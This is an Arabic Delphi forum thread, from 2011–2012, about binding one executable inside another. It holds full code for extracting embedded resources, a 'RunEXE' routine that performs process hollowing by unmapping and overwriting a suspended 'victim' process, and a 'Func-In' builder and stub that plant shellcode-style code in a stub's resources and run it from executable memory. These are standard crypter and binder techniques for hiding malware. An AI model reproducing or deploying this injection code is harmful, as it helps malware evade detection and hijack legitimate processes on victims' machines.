29-12-2011, 09:08 PM
30-12-2011, 10:03 PM
السلام عليكم
موجوده بداخله: أي مخزنة في طبقة من الملف التنفيذي تسمى "المصادر" Resources
تضع الملف فيها بصفته RC_DATA
ثم تستخرجه بمثل هذه:
تفاصيل أكثر ابحث عن TResourceStream في المنتدى
بالتوفيق.
موجوده بداخله: أي مخزنة في طبقة من الملف التنفيذي تسمى "المصادر" Resources
تضع الملف فيها بصفته RC_DATA
ثم تستخرجه بمثل هذه:
PHP كود :
function ThrowFile(const ResData, Destination: string; Overwrite: Boolean): Boolean;
var
ResDB: TResourceStream;
HndRes: HWND;
begin
try
HndRes := FindResource(HInstance, PChar(ResData), RT_RCDATA);
if HndRes <> INVALID_HANDLE_VALUE then begin
ResDB := TResourceStream.Create(HInstance, ResData, RT_RCDATA);
if Overwrite then
ResDB.SaveToFile(Destination);
Result := FileExists(Destination);
end
else
begin
MessageBox(GetActiveWindow, 'Impossible de trouver le fichier demandé.',
nil, MB_OK + MB_ICONSTOP);
Result := False;
end;
finally
FreeAndNil(ResDB);
end;
end;
بالتوفيق.
01-01-2012, 07:34 PM
وعليكم السلام ورحمة الله وبركاته
اظافة الى ما دكر ناك طرق أخرى غير الرسورس ك :
تحويل الملف الى مصفوقة من البايتات ومن تم نستطيع قراءة المصفوفة واستخراجها على شكل ملف باستعمال أحد دوال API ك WriteFile.
اضافة الملف الى نهاية الملف التنفيدي EOF
فقط استعمل google وطبق كل ماتجده
اظافة الى ما دكر ناك طرق أخرى غير الرسورس ك :
تحويل الملف الى مصفوقة من البايتات ومن تم نستطيع قراءة المصفوفة واستخراجها على شكل ملف باستعمال أحد دوال API ك WriteFile.
اضافة الملف الى نهاية الملف التنفيدي EOF
فقط استعمل google وطبق كل ماتجده
05-01-2012, 10:25 PM
me&delphi' كتب :تحويل الملف الى مصفوقة من البايتات ومن تم نستطيع قراءة المصفوفة واستخراجها على شكل ملف باستعمال أحد دوال apiكيف نحولها الى مصفوفه من البايتات
وشكراً لك
06-01-2012, 08:56 AM
إقتباس :الملف التنفيذي المراد وضعه في الرسورس عند تشغيله ينشئ ملف في نفس الفولدر لكن عند وضعه في الرسورس لا يمكن تشغيله لأن لا يمكن انشاء ذلك الملفلم أفهم، هل من مثال؟
إقتباس :كيف نحولها الى مصفوفه من البايتاتكما يحول كل شيء في الجهاز إلى 0 و1 (طبعا بـ Hex)
مثال لصاحبه:
PHP كود :
type
TByteArray = array of Byte; //in SysUtils
function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';
{$R *.dfm}
implementation
procedure Move(Destination, Source: Pointer; dLength:Cardinal);
begin
CopyMemory(Destination, Source, dLength);
end;
function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
var
IDH: TImageDosHeader;
INH: TImageNtHeaders;
ISH: TImageSectionHeader;
PI: TProcessInformation;
SI: TStartUpInfo;
CONT: TContext; // Contient des données du registre spécifique aux processus
ImageBase: Pointer;
Ret: DWORD;
i: integer;
Addr: DWORD;
dOffset: DWORD;
begin
Result := FALSE;
try
Move(@IDH, @bFile[0], 64);
if IDH.e_magic = IMAGE_DOS_SIGNATURE then // Si la signature est valide (MZ)
begin
Move(@INH, @bFile[IDH._lfanew], 248); // On lit l'entête PE
if INH.Signature = IMAGE_NT_SIGNATURE then // Si la signature est valide (PE\0\0)
begin
(* Initialisation de TStartupInfo et TProcessInformation *)
FillChar(SI, SizeOf(TStartupInfo),0);
FillChar(PI, SizeOf(TProcessInformation),0);
SI.cb := SizeOf(TStartupInfo);
if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then // On met en "pause" le processus
begin
CONT.ContextFlags := CONTEXT_FULL; // CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS)
if GetThreadContext(PI.hThread, CONT) then // Retourne le context du thread courant
begin
ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret); // Retourne dans Addr le contenu du processus
NtUnmapViewOfSection(PI.hProcess, @Addr); // Map une section en mémoire
ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); // Réserve l'espace nécessaire
WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret); // Ecrit l'ImageBase dans le processus
dOffset := IDH._lfanew + 248; // SizeOf(TImageNtHeaders) = 248
for i := 0 to INH.FileHeader.NumberOfSections - 1 do // On liste toutes les sections
begin
Move(@ISH, @bFile[dOffset + (i * 40)], 40); // Une section fait 40 octets
WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret); // On inscrit la section dans le processus
VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr); // Autorisation d'écuter/lire/modifier la section
end;
WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret); // Modifie le context
CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint; // L'adresse ou l'on va charger le tout
SetThreadContext(PI.hThread, CONT); // Modifie une derniére fois le context
ResumeThread(PI.hThread); // On execute
Result := TRUE;
end;
end;
end;
end;
except
CloseHandle(PI.hProcess);
CloseHandle(PI.hThread);
end;
end;
25-08-2012, 09:26 AM
kachwahed كتب :
كما يحول كل شيء في الجهاز إلى 0 و1 (طبعا بـ Hex)
مثال لصاحبه:
PHP كود :
function FileToBytes(sPath:string; var bFile:TByteArray):Boolean;
var
hFile: THandle;
dSize: DWORD;
dRead: DWORD;
begin
Result := FALSE;
hFile := CreateFile(PChar(sPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if hFile <> INVALID_HANDLE_VALUE then
begin
dSize := GetFileSize(hFile, nil);
SetLength(bFile, dSize);
ReadFile(hFile, bFile[0], dSize, dRead, nil);
CloseHandle(hFile);
if dRead = dSize then
Result := TRUE;
end;
end;
![[صورة: 20120825092555.png]](http://img546.imageshack.us/img546/9343/20120825092555.png)
me&delphi' كتب :اضافة الملف الى نهاية الملف التنفيدي eofكيف نجعل الحجم متغير للعدم الخسارة في الحجم لاننا عند القرائة سنحدد عدد البايتات المقروئة
25-08-2012, 11:12 PM
"كيف نجعل الحجم متغير للعدم الخسارة في الحجم لاننا عند القرائة سنحدد عدد البايتات المقروئة "
- تقريبا نفس الفكرة في تحويل الـ XM إلى *.Pas
بالتوفيق,,
- تقريبا نفس الفكرة في تحويل الـ XM إلى *.Pas
كود :
//04-06-2009 By TF6M
{$WARNINGS OFF}{$HINTS OFF}
{$OPTIMIZATION ON} {$O Off}
Procedure XmToBin (Path:String);
{$IF CompilerVersion >= 17}Inline;{$IFEND}
Var F: TextFile;
XmFile:File Of Byte;
Temp,Index:Byte;
Begin
Try
AssignFile(F,'XM_Bin.Pas');
ReWrite(F);
//
AssignFile(XmFile,Path);
If FileExists(Path)Then ReSet(XmFile)
Else Exit; //IoResult.
//
WriteLn(F,'Const xm : Array[1..'+
IntToStr([COLOR=Red]FileSize[/COLOR](XmFile)+1)+'] Of Byte = (');
Index:=0;
//
While Not Eof(XmFile) Do
Begin
Inc (Index);
Read(XmFile,Temp);
If Index Mod 64 = 0 Then
WriteLn(F,'$'+Inttohex(Temp,2)+',')Else
Write(F,'$'+Inttohex(Temp,2)+',');
End;
Write(F,'$00);');
CloseFile(F);
CloseFile(XmFile);
Except
Exit;
End;
End;بالتوفيق,,
25-08-2012, 11:40 PM
onexite كتب :كيف نجعل الحجم متغير للعدم الخسارة في الحجم لاننا عند القرائة سنحدد عدد البايتات المقروئة
حسب ما فهمت من السآل في يمكنك استخدام تقنية Func-In ...
كود :
program Builder;
//delphibasics.info & ic0de.org
//Authors: cswi, abhe & steve10120
const
kernel32 = 'kernel32.dll';
MB_YESNO = 4;
MB_OK = 0;
type
PByte = ^Byte;
function BeginUpdateResourceW(pFileName: PWideChar; bDeleteExistingResources: Boolean): Cardinal; stdcall; external kernel32 name 'BeginUpdateResourceW';
function UpdateResourceW(hUpdate: Cardinal; lpType, lpName: PWideChar; wLanguage: Word; lpData: Pointer; cbData: LongWord): Boolean; stdcall; external kernel32 name 'UpdateResourceW';
function EndUpdateResourceW(hUpdate: Cardinal; fDiscard: Boolean): Boolean; stdcall; external kernel32 name 'EndUpdateResourceW';
const
cFuncIn : PWideChar = 'FUNCIN';
type
TGetProcAddress = function (hModule: Cardinal; lpProcName: pAnsiChar): Pointer; stdcall;
TLoadLibraryA = function(lpLibFileName: PAnsiChar): Cardinal; stdcall;
TFuncInRecord = Record
xGetProcAddress : TGetProcAddress;
xLoadLibraryA : TLoadLibraryA;
end;
PFuncInRecord = ^TFuncInRecord;
procedure FuncIn(AFuncInRecord : PFuncInRecord; lpText, lpCaption : pAnsiChar);
type
TMessageBoxA = function (hWnd: Cardinal; lpText, lpCaption: PAnsiChar; uType: LongWord): LongWord; stdcall;
var
szUser32 : array[0..6] of AnsiChar;
szMessageBoxA : array[0..11] of AnsiChar;
xMessageBoxA : TMessageBoxA;
dwResult : LongWord;
begin
szUser32[0] := 'U';
szUser32[1] := 's';
szUser32[2] := 'e';
szUser32[3] := 'r';
szUser32[4] := '3';
szUser32[5] := '2';
szUser32[6] := #0;
szMessageBoxA[0] := 'M';
szMessageBoxA[1] := 'e';
szMessageBoxA[2] := 's';
szMessageBoxA[3] := 's';
szMessageBoxA[4] := 'a';
szMessageBoxA[5] := 'g';
szMessageBoxA[6] := 'e';
szMessageBoxA[7] := 'B';
szMessageBoxA[8] := 'o';
szMessageBoxA[9] := 'x';
szMessageBoxA[10] := 'A';
szMessageBoxA[11] := #0;
with AFuncInRecord^ do
begin
@xMessageBoxA := xGetProcAddress(xLoadLibraryA(szUser32), szMessageBoxA);
if Assigned(xMessageBoxA) then
begin
dwResult := xMessageBoxA(0, lpText, lpCaption, MB_YESNO);
if dwResult = 6 then
xMessageBoxA(0, lpText, lpCaption, MB_OK);
end;
end;
end;
Function WriteResData(pFile: pointer; Size: integer; pwName: pWideChar):Boolean;
const
pwServerFile : PWideChar = 'Stub.exe' ;
var
hResourceHandle: Cardinal;
begin
hResourceHandle := BeginUpdateResourceW(pwServerFile, False);
Result := UpdateResourceW(hResourceHandle, PWideChar(10), pwName, 0, pFile, Size);
EndUpdateResourceW(hResourceHandle, False);
end;
function SizeOfProc(pAddr: pointer): Cardinal;
var dwSize: Cardinal;
begin
dwSize := 0;
repeat
inc(dwSize);
until PByte(Cardinal(pAddr)+dwSize-1)^ = $C3;
Result := dwSize;
end;
begin
WriteResData(@FuncIn, SizeOfProc(@FuncIn), cFuncIn);
WriteResData(nil, 0, 'PACKAGEINFO');
WriteResData(nil, 0, 'DVCLAL');
end.كود :
program Stub;
const
kernel32 = 'kernel32.dll';
MEM_COMMIT = $1000;
PAGE_EXECUTE_READWRITE = $40;
MEM_RELEASE = $8000;
function GetProcAddress(hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall; external kernel32 name 'GetProcAddress';
function LoadLibraryA(lpLibFileName: PAnsiChar): Cardinal; stdcall; external kernel32 name 'LoadLibraryA';
function FindResourceW(hModule: Cardinal; lpName, lpType: PWideChar): Cardinal; stdcall; external kernel32 name 'FindResourceW';
function LoadResource(hModule: Cardinal; hResInfo: Cardinal): Cardinal; stdcall; external kernel32 name 'LoadResource';
function SizeofResource(hModule: Cardinal; hResInfo: Cardinal): LongWord; stdcall; external kernel32 name 'SizeofResource';
function VirtualAlloc(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: LongWord): Pointer; stdcall; external kernel32 name 'VirtualAlloc';
function VirtualFree(lpAddress: Pointer; dwSize, dwFreeType: LongWord): Boolean; stdcall; external kernel32 name 'VirtualFree';
const
cFuncIn : PWideChar = 'FUNCIN';
type
TGetProcAddress = function (hModule: Cardinal; lpProcName: pAnsiChar): Pointer; stdcall;
TLoadLibraryA = function(lpLibFileName: PAnsiChar): Cardinal; stdcall;
TFuncInRecord = Record
xGetProcAddress : TGetProcAddress;
xLoadLibraryA : TLoadLibraryA;
end;
PFuncInRecord = ^TFuncInRecord;
PFuncIn = ^TFuncIn;
TFuncIn = procedure(pData : PFuncInRecord; lpTitle, lpMessage : pAnsiChar);
procedure ResGet(ResName: pwidechar; var data : pointer; var Size:LongWord);
var
ResSrc: Cardinal;
ResGlobal: Cardinal;
begin
ResSrc := FindResourceW(0, ResName, PWideChar(10));
ResGlobal := LoadResource(0, ResSrc);
Data := Pointer(ResGlobal);
Size := SizeofResource(0, ResSrc);
end;
procedure CopyMemory(Destination, Source:Pointer; dwSize:LongWord);
asm
PUSH ECX
PUSH ESI
PUSH EDI
MOV EDI, Destination
MOV ESI, Source
MOV ECX, dwSize
REP MOVSB
POP EDI
POP ESI
POP ECX
end;
var
FuncIn : TFuncIn;
pResource : Pointer;
dwResourceSize : LongWord;
AFuncInRecord : TFuncInRecord;
begin
AFuncInRecord.xGetProcAddress := @GetProcAddress;
AFuncInRecord.xLoadLibraryA := @LoadLibraryA;
ResGet(cFuncIn, pResource, dwResourceSize);
FuncIn := VirtualAlloc(nil, dwResourceSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(@FuncIn, pResource, dwResourceSize);
FuncIn(@AFuncInRecord,'cswi <3 abhe & steve10120', '<3 p0ke');
VirtualFree(@FuncIn, 0, MEM_RELEASE);
end.كود :
https://sites.google.com/site/delphibasics/home/delphibasicscounterstrikewireleases/func-indelphiexample26-08-2012, 12:19 PM
S.FATEH كتب :حسب ما فهمت من السآل في يمكنك استخدام تقنية Func-In ...الكتابة والقرائة في الرسورس ليس موضوعنا
نتحدث على طريقة اخرى للدمج وانا وضعت اداة هنا
http://www.delphi4arab.net/forum/showthr...p?tid=7837